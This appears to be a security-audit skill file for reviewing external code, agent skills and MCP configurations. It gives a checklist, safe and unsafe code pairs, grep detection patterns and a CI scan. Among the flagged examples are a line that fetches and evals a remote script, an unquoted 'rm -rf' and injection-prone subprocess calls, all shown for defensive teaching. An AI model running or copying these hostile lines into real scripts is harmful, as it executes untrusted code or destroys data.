skill-security-auditor

name	skill-security-auditor
description	Security audit for external code and skill content. Use when: reviewing external skill files, checking code snippets from untrusted sources, validating MCP tool configurations, accepting contributions from external repos.

Skill Security Auditor

When to Use

• Reviewing skill content from external repositories
• Validating code snippets before incorporating
• Checking MCP server configurations
• Auditing contributed code for security issues
• Verifying no malicious patterns in automation scripts

Security Review Checklist

File-level Review

1. No embedded credentials

   • API keys, passwords, tokens
   • Database connection strings
   • Private keys or certificates

2. No network exfiltration

   • Unexpected outbound requests
   • Data sent to unknown endpoints
   • Hidden telemetry

3. No file system abuse

   • Writes outside project directory
   • Reads sensitive system files
   • Permission modifications

4. No process execution risks

   • Arbitrary command execution
   • Shell injection vectors
   • Subprocess without sanitization

Code Patterns to Flag

# DANGEROUS: Command injection
os.system(f"curl {user_input}")  # ❌
subprocess.run(user_input, shell=True)  # ❌

# SAFE: Parameterized
subprocess.run(["curl", validated_url], shell=False)  # ✅

# DANGEROUS: Path traversal
open(f"data/{user_filename}")  # ❌

# SAFE: Validate path
import pathlib
safe_path = pathlib.Path("data") / user_filename
if safe_path.resolve().is_relative_to(pathlib.Path("data").resolve()):
    open(safe_path)  # ✅

Shell Script Review

# DANGEROUS: Eval of external content
eval "$(curl -s https://example.com/script)"  # ❌

# DANGEROUS: Unquoted variables
rm -rf $USER_PATH/*  # ❌

# SAFE: Quoted variables
rm -rf "${USER_PATH:?}"/*  # ✅

MCP Server Validation

Configuration Review

{
  "mcpServers": {
    "untrusted-server": {
      "command": "npx",
      "args": ["untrusted-package"]  // ⚠️ Review package source
    }
  }
}

MCP Red Flags

• Servers requesting filesystem access beyond project
• Network access to unknown domains
• Servers bundling native executables
• Missing source code availability
• No version pinning

External Skill Review Process

Step 1: Source Verification

# Verify repository ownership
gh repo view owner/repo --json owner,isPrivate,url

# Check recent commits
git log --oneline -20

# Review contributors
gh api repos/owner/repo/contributors

Step 2: Content Scan

# Search for dangerous patterns
grep -rE "(eval|exec|system|subprocess|curl.*\|.*sh)" .

# Find credential patterns
grep -rE "(password|api_key|secret|token)\s*=" .

# Check for encoded content
grep -rE "base64|atob|btoa" .

Step 3: Dependency Check

• Review any requirements.txt or package.json
• Check for known vulnerable versions
• Verify dependency sources

Approval Criteria

Accept When

• ✅ No credential exposure
• ✅ No arbitrary code execution
• ✅ No external network calls without justification
• ✅ Clear, readable code
• ✅ Documented purpose
• ✅ Verifiable source

Reject When

• ❌ Obfuscated or minified code
• ❌ Encoded payloads
• ❌ Unexplained external calls
• ❌ File operations outside scope
• ❌ Privilege escalation patterns
• ❌ Missing or suspicious provenance

Anti-patterns

• Blind trust: Copying code without review
• Review fatigue: Skipping long files
• Version drift: Not reviewing updates
• Scope creep: Accepting more permissions than needed

Integration

Add security review as a PR requirement:

name: Security Review

on:
  pull_request:
    paths:
      - '.github/skills/**'
      - '.github/agents/**'

jobs:
  review:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      
      - name: Scan for dangerous patterns
        run: |
          if grep -rE "(eval|exec|os\.system)" .github/; then
            echo "::error::Dangerous pattern detected"
            exit 1
          fi